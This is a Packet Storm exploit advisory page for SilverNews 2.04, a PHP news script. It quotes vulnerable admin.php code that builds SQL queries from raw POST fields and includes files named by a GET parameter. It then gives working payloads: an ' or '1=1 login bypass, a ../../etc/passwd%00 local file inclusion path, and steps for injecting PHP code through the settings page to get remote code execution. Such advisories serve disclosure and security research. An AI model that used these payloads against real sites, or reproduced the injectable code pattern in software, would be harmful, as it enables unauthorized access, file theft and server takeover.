exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

SilverNews 2.04 Bypass / LFI / Code Execution

SilverNews 2.04 Bypass / LFI / Code Execution
Posted Feb 6, 2009
Authored by X0r

SilverNews version 2.04 suffers from authentication bypass, local file inclusion, and remote command execution vulnerabilities.

tags | exploit, remote, local, vulnerability, bypass, file inclusion
SHA-256 | 8a2ae6971c78605fddf72f8563149c737bd0db4e6da361499b8fe4beaff590f8

SilverNews 2.04 Bypass / LFI / Code Execution

Change Mirror Download
#########################################################################################
[0x01] Informations:

Name : SilverNews 2.04
Download :
http://www.silver-scripts.de/scripts.php?script=SilverNews&l=en
Vulnerability : Auth Bypass\LFI\RCE
Author : x0r
Contact : andry2000@hotmail.it
Notes : Proud to be Italian
#########################################################################################
[0x02] Bug:

Bugged file is /[path]/admin.php

[Code]
// Get the user information from the database
$getinfo = $sql->query("SELECT password, username, id FROM
sn".$sql->prefix."_user WHERE username = '".$_POST['username']."' AND
password = '".$_POST['password']."'");
$info = $sql->fetch_array($getinfo);
...

// If "act" isn't set the user will be sent to the homepage.
if (!$_GET['act'] AND !$_POST['act'] AND !$_GET['section'])
{
$_GET['section'] = 'home';
}

require "admin/header.php";

if (file_exists('admin/'.$_GET['section'].".php"))
{
require 'admin/'.$_GET['section'].'.php'; #LFI
}
else
{
$admin->error('Datei konnte nicht gefunden werden!');
}

require "admin/footer.php";
[/code]

#########################################################################################


#########################################################################################
[0x03] Exploit:

Exploit: username: ' or '1=1
password: x0r

LFI: admin.php?section=../../../../../../../../../../etc/passwd%00

RCE:
So we can bypass the admin login and then go to admin/settings.php and put your
evil code ^^ ex: 'show_cat_prefix' => $_POST['show_cat_prefix'], in the sho_cat_prefix we
put: x0r'; echo 'lol --> /data.inc.php

########################################################################################


Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close